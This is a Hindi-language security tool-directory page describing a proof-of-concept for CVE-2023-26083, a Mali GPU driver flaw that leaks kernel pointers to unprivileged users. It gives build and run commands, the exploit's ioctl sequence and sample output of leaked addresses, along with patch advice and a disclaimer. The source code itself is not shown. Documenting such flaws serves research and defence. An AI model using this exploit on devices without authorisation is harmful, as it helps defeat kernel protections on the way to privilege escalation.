Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2023-26083 — CVE-2023-26083-Mali-InfoLeak-PoC | Kitploit
उपकरण/GitHubGitHub/noverisp3/cve-2023-26083
भेद्यता विश्लेषणशोषणजानकारी एकत्र करनाहार्डवेयर और IoT सुरक्षालर्निंग और शिक्षाबाइनरी शोषण
GitHubnoverisp3/cve-2023-26083

CVE-2023-26083

CVE-2023-26083-Mali-InfoLeak-PoC

रिपॉजिटरी देखें
43 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2023-26083 – टाइमलाइन स्ट्रीम के माध्यम से Mali GPU कर्नेल एड्रेस लीक

यह रिपॉज़िटरी CVE-2023-26083 के लिए एक proof-of-concept (PoC) एक्सप्लॉइट है, जो Mali GPU ड्राइवर (Arm Mali GPU Kernel Driver) में एक कमजोरी है जो एक अविशेषाधिकार प्राप्त उपयोगकर्ता को टाइमलाइन स्ट्रीम (/dev/mali0) के माध्यम से कर्नेल पॉइंटर्स और संवेदनशील आंतरिक जानकारी लीक करने की अनुमति देती है।

कमजोरी का अवलोकन

Mali GPU ड्राइवर प्रोफाइलिंग और डीबगिंग के लिए एक “timeline stream” (tlstream) सुविधा प्रदान करता है। यह स्ट्रीम ऐसी घटनाओं को निर्यात करती है जिनमें रॉ कर्नेल पॉइंटर्स होते हैं (जैसे, kbase_context, kbase_gpu, kbase_lpu, एड्रेस स्पेस, एटम आदि के पते)। सामान्यतः, इस स्ट्रीम तक पहुँच के लिए BASE_CONTEXT_CREATE_FLAG_MONITOR फ़्लैग की आवश्यकता होनी चाहिए। हालाँकि, KBASE_IOCTL_TLSTREAM_ACQUIRE हैंडलर में अनुपलब्ध अनुमति जाँच के कारण, कोई भी प्रक्रिया (बिना मॉनिटर फ़्लैग के भी) टाइमलाइन स्ट्रीम के लिए फ़ाइल डिस्क्रिप्टर प्राप्त कर सकती है और कर्नेल मेमोरी एड्रेस पढ़ सकती है।

प्रभाव:

  • कर्नेल पॉइंटर्स लीक करना कर्नेल ASLR (KASLR) को विफल कर देता है।
  • अन्य कमजोरियों (जैसे, use-after-free, arbitrary write) के साथ मिलकर, यह विशेषाधिकार वृद्धि या मनमाने कर्नेल कोड निष्पादन का कारण बन सकता है।
टूल डाउनलोड करें
  • यह लीक आंतरिक ड्राइवर स्थिति को उजागर करता है और फ़िंगरप्रिंटिंग के लिए उपयोग किया जा सकता है।
  • प्रभावित संस्करण

    • CVE-2023-26083 के फिक्स से पूर्व के Arm Mali GPU Kernel Driver संस्करण।

    बिल्ड और रन

    आवश्यक शर्तें

    • Mali GPU वाला एक डिवाइस (जैसे, Exynos, MediaTek, कुछ Rockchip SoCs)।
    • रूट एक्सेस आवश्यक नहीं है – PoC एक अविशेषाधिकार प्राप्त उपयोगकर्ता के रूप में कार्य करता है।
    • कर्नेल में Mali ड्राइवर बिल्ट-इन या मॉड्यूल के रूप में होना चाहिए (/dev/mali0 मौजूद होना चाहिए)।

    संकलन

    चूँकि कोड स्व-निहित और स्टैंडअलोन है, आप इसे मानक टूल्स का उपयोग करके आसानी से क्रॉस-कंपाइल कर सकते हैं।

    1. Android के लिए (अनुशंसित)

    ARM64 डिवाइसों के लिए संकलन हेतु Android NDK टूलचेन का उपयोग करें। विभिन्न Android संस्करणों पर डायनेमिक लिंकर संगतता समस्याओं से बचने के लिए स्टैटिक लिंकिंग का उपयोग करने की अत्यधिक अनुशंसा की जाती है:

    root@kitploit:~
    aarch64-linux-android21-clang -static -o mali_tlstream_leak mali_tlstream_leak.c
    

    2. ARM-आधारित Linux डेस्कटॉप/बोर्ड के लिए

    यदि आप ARM डेवलपमेंट बोर्ड (जैसे Raspberry Pi या Odroid) पर परीक्षण कर रहे हैं जिसमें Mali GPU है और जो एक मानक Linux डिस्ट्रो चलाता है:

    root@kitploit:~
    gcc -static -o mali_tlstream_leak mali_tlstream_leak.c
    

    निष्पादन

    root@kitploit:~
    ./mali_tlstream_leak
    

    प्रोग्राम निम्न कार्य करेगा:

    1. /dev/mali0 खोलें।
    2. संस्करण जाँच करें।
    3. फ़्लैग को BASE_CONTEXT_CREATE_FLAG_NONE पर सेट करें (कोई मॉनिटर विशेषाधिकार नहीं)।
    4. टाइमलाइन स्ट्रीम प्राप्त करें (कमजोर ioctl)।
    5. कुछ सेकंड के लिए टाइमलाइन पैकेट पढ़ें।
    6. कर्नेल पॉइंटर लीक को पार्स करें और प्रदर्शित करें (*** KERNEL के साथ चिह्नित)।

    उदाहरण आउटपुट

    नोट: यह Proof-of-Concept (PoC) केवल Samsung Galaxy J7 Prime पर परीक्षण किया गया था जो Android 8.1.0 (कर्नेल 3.18) और 1 अप्रैल, 2020 के सुरक्षा पैच स्तर के साथ चल रहा था।

    root@kitploit:~
    on7xelte:/data/local/tmp $ ./mali_tlstream_leak
    Version: major=11 minor=5
    SET_FLAGS ok
    TLSTREAM_ACQUIRE ok, tlfd=4
    Read 3805 bytes from tlstream (total=3805)
    
    Raw hex dump (3805 bytes):
    
    0000: 01 00 00 04 e1 0a 00 00 03 08 20 00 00 00 00 00
    0010: 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c 5f 4e
    0020: 45 57 5f 43 54 58 00 16 00 00 00 6f 62 6a 65 63
    0030: 74 20 63 74 78 20 69 73 20 63 72 65 61 74 65 64
    0040: 00 05 00 00 00 40 70 49 49 00 10 00 00 00 63 74
    0050: 78 2c 63 74 78 5f 6e 72 2c 74 67 69 64 00 01 00
    0060: 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c 5f 4e
    0070: 45 57 5f 47 50 55 00 16 00 00 00 6f 62 6a 65 63
    0080: 74 20 67 70 75 20 69 73 20 63 72 65 61 74 65 64
    0090: 00 05 00 00 00 40 70 49 49 00 16 00 00 00 67 70
    00a0: 75 2c 67 70 75 5f 69 64 2c 63 6f 72 65 5f 63 6f
    00b0: 75 6e 74 00 02 00 00 00 11 00 00 00 4b 42 41 53
    00c0: 45 5f 54 4c 5f 4e 45 57 5f 4c 50 55 00 16 00 00
    00d0: 00 6f 62 6a 65 63 74 20 6c 70 75 20 69 73 20 63
    00e0: 72 65 61 74 65 64 00 05 00 00 00 40 70 49 49 00
    00f0: 12 00 00 00 6c 70 75 2c 6c 70 75 5f 6e 72 2c 6c
    0100: 70 75 5f 66 6e 00 03 00 00 00 12 00 00 00 4b 42
    0110: 41 53 45 5f 54 4c 5f 4e 45 57 5f 41 54 4f 4d 00
    0120: 17 00 00 00 6f 62 6a 65 63 74 20 61 74 6f 6d 20
    0130: 69 73 20 63 72 65 61 74 65 64 00 04 00 00 00 40
    0140: 70 49 00 0d 00 00 00 61 74 6f 6d 2c 61 74 6f 6d
    0150: 5f 6e 72 00 04 00 00 00 10 00 00 00 4b 42 41 53
    0160: 45 5f 54 4c 5f 4e 45 57 5f 41 53 00 20 00 00 00
    0170: 61 64 64 72 65 73 73 20 73 70 61 63 65 20 6f 62
    0180: 6a 65 63 74 20 69 73 20 63 72 65 61 74 65 64 00
    0190: 04 00 00 00 40 70 49 00 14 00 00 00 61 64 64 72
    01a0: 65 73 73 5f 73 70 61 63 65 2c 61 73 5f 6e 72 00
    01b0: 05 00 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c
    01c0: 5f 44 45 4c 5f 43 54 58 00 15 00 00 00 63 6f 6e
    01d0: 74 65 78 74 20 69 73 20 64 65 73 74 72 6f 79 65
    01e0: 64 00 03 00 00 00 40 70 00 04 00 00 00 63 74 78
    01f0: 00 06 00 00 00 12 00 00 00 4b 42 41 53 45 5f 54
    
    Parsing packets:
    
    Packet at offset 0: family=TL class=OBJ type=HEADER stream=1 len=2785 numbered=0
    
    Packet at offset 2793: family=TL class=OBJ type=SUMMARY stream=1 len=1004 numbered=0
      [NEW_LPU] (ts=104596762668116, 16 bytes payload) ptr0=0xffffffc0baead7f8 *** KERNEL val1=0 val1=526
      [NEW_LPU] (ts=104596762668539, 16 bytes payload) ptr0=0xffffffc0baead7fc *** KERNEL val1=1 val1=510
      [NEW_LPU] (ts=104596762669039, 16 bytes payload) ptr0=0xffffffc0baead800 *** KERNEL val1=2 val1=126
      [NEW_AS] (ts=104596762669654, 12 bytes payload) ptr0=0xffffffc0baeac740 *** KERNEL val1=0
      [NEW_AS] (ts=104596762670078, 12 bytes payload) ptr0=0xffffffc0baeac838 *** KERNEL val1=1
      [NEW_AS] (ts=104596762670347, 12 bytes payload) ptr0=0xffffffc0baeac930 *** KERNEL val1=2
      [NEW_AS] (ts=104596762670539, 12 bytes payload) ptr0=0xffffffc0baeaca28 *** KERNEL val1=3
      [NEW_AS] (ts=104596762670847, 12 bytes payload) ptr0=0xffffffc0baeacb20 *** KERNEL val1=4
      [NEW_AS] (ts=104596762671001, 12 bytes payload) ptr0=0xffffffc0baeacc18 *** KERNEL val1=5
      [NEW_AS] (ts=104596762671154, 12 bytes payload) ptr0=0xffffffc0baeacd10 *** KERNEL val1=6
      [NEW_AS] (ts=104596762671462, 12 bytes payload) ptr0=0xffffffc0baeace08 *** KERNEL val1=7
      [NEW_GPU] (ts=104596762671808, 16 bytes payload) ptr0=0xffffffc0baeac000 *** KERNEL val1=137363472 val1=1
      [LIFELINK_LPU_GPU] (ts=104596762671962, 16 bytes payload) ptr0=0xffffffc0baead7f8 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
      [LIFELINK_LPU_GPU] (ts=104596762672385, 16 bytes payload) ptr0=0xffffffc0baead7fc *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
      [LIFELINK_LPU_GPU] (ts=104596762672578, 16 bytes payload) ptr0=0xffffffc0baead800 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
      [LIFELINK_AS_GPU] (ts=104596762672924, 16 bytes payload) ptr0=0xffffffc0baeac740 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
      [LIFELINK_AS_GPU] (ts=104596762673116, 16 bytes payload) ptr0=0xffffffc0baeac838 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
      [LIFELINK_AS_GPU] (ts=104596762673385, 16 bytes payload) ptr0=0xffffffc0baeac930 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
      [LIFELINK_AS_GPU] (ts=104596762673539, 16 bytes payload) ptr0=0xffffffc0baeaca28 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
      [LIFELINK_AS_GPU] (ts=104596762673847, 16 bytes payload) ptr0=0xffffffc0baeacb20 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
      [LIFELINK_AS_GPU] (ts=104596762674001, 16 bytes payload) ptr0=0xffffffc0baeacc18 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
      [LIFELINK_AS_GPU] (ts=104596762674154, 16 bytes payload) ptr0=0xffffffc0baeacd10 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
      [LIFELINK_AS_GPU] (ts=104596762674462, 16 bytes payload) ptr0=0xffffffc0baeace08 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
      [NEW_CTX] (ts=104596762674962, 16 bytes payload) ptr0=0xffffff802619e000 *** KERNEL val1=194 val1=12465
      [NEW_CTX] (ts=104596762675654, 16 bytes payload) ptr0=0xffffff8025e13000 *** KERNEL val1=193 val1=12116
      [NEW_CTX] (ts=104596762676385, 16 bytes payload) ptr0=0xffffff8025bb3000 *** KERNEL val1=192 val1=11342
      [NEW_CTX] (ts=104596762677154, 16 bytes payload) ptr0=0xffffff801de1f000 *** KERNEL val1=156 val1=24216
      [NEW_CTX] (ts=104596762677885, 16 bytes payload) ptr0=0xffffff801db73000 *** KERNEL val1=150 val1=29044
      [NEW_CTX] (ts=104596762678616, 16 bytes payload) ptr0=0xffffff80224ce000 *** KERNEL val1=145 val1=6525
      [NEW_CTX] (ts=104596762679693, 16 bytes payload) ptr0=0xffffff801f1f2000 *** KERNEL val1=47 val1=3367
      [NEW_CTX] (ts=104596762680385, 16 bytes payload) ptr0=0xffffff801e187000 *** KERNEL val1=36 val1=23263
      [NEW_CTX] (ts=104596762681385, 16 bytes payload) ptr0=0xffffff80243c5000 *** KERNEL val1=26 val1=15858
      [NEW_CTX] (ts=104596762682193, 16 bytes payload) ptr0=0xffffff8020cff000 *** KERNEL val1=24 val1=4256
      [NEW_CTX] (ts=104596762682885, 16 bytes payload) ptr0=0xffffff801f221000 *** KERNEL val1=15 val1=10645
      [NEW_CTX] (ts=104596762683654, 16 bytes payload) ptr0=0xffffff801dbca000 *** KERNEL val1=3 val1=2976
      [NEW_CTX] (ts=104596762684501, 16 bytes payload) ptr0=0xffffff802b375000 *** KERNEL val1=2 val1=3409
      [NEW_CTX] (ts=104596762685039, 16 bytes payload) ptr0=0xffffff8020d88000 *** KERNEL val1=0 val1=2613
    

    जैसा कि दिखाया गया है, PoC कई कर्नेल एड्रेस सफलतापूर्वक लीक करता है:

    • LPU (Logic Processing Unit) ऑब्जेक्ट
    • एड्रेस स्पेस (AS) ऑब्जेक्ट
    • GPU ऑब्जेक्ट
    • कॉन्टेक्स्ट ऑब्जेक्ट (kbase_context)

    कोड स्पष्टीकरण

    मुख्य चरण निम्न हैं:

    1. /dev/mali0 खोलें – मानक Mali डिवाइस इंटरफ़ेस।
    2. KBASE_IOCTL_VERSION_CHECK – ड्राइवर कॉन्टेक्स्ट को इनिशियलाइज़ करने के लिए आवश्यक।
    3. KBASE_IOCTL_SET_FLAGS – create_flags को BASE_CONTEXT_CREATE_FLAG_NONE पर सेट करें (कोई मॉनिटर विशेषाधिकार नहीं)।
      यह सामान्यतः tlstream एक्सेस को ब्लॉक करना चाहिए, लेकिन यह बग बाइपास की अनुमति देता है।
    4. KBASE_IOCTL_TLSTREAM_ACQUIRE – टाइमलाइन स्ट्रीम के लिए एक नया फ़ाइल डिस्क्रिप्टर प्राप्त करें।
      मॉनिटर फ़्लैग की अनुपस्थिति के बावजूद, ioctl एक मान्य fd लौटाता है।
    5. read() – रॉ टाइमलाइन पैकेट पढ़ें।
    6. पार्सर – पैकेट हेडर और टाइमलाइन इवेंट संदेशों को डिकोड करके कर्नेल पॉइंटर्स निकालता है।

    शमन / पैच

    अपने कर्नेल को CVE-2023-26083 के फिक्स वाले संस्करण में अपडेट करें।
    वैकल्पिक रूप से, यदि आप एक निर्माता हैं, तो Arm या Linux kernel stable tree से पैच लागू करें।

    अस्वीकरण

    यह कोड केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है।
    इस एक्सप्लॉइट को बिना स्पष्ट अनुमति के सिस्टम पर उपयोग करना लागू कानूनों का उल्लंघन कर सकता है। लेखक इस सॉफ़्टवेयर के कारण होने वाले किसी भी दुरुपयोग या क्षति के लिए ज़िम्मेदार नहीं है। इसका उपयोग केवल उन डिवाइसों पर करें जिनके स्वामी आप हैं या जिनके परीक्षण के लिए आपके पास लिखित अधिकार है।

    संदर्भ

    • CVE-2023-26083
    • NIST NVD - CVE-2023-26083

    लेखक

    Noveris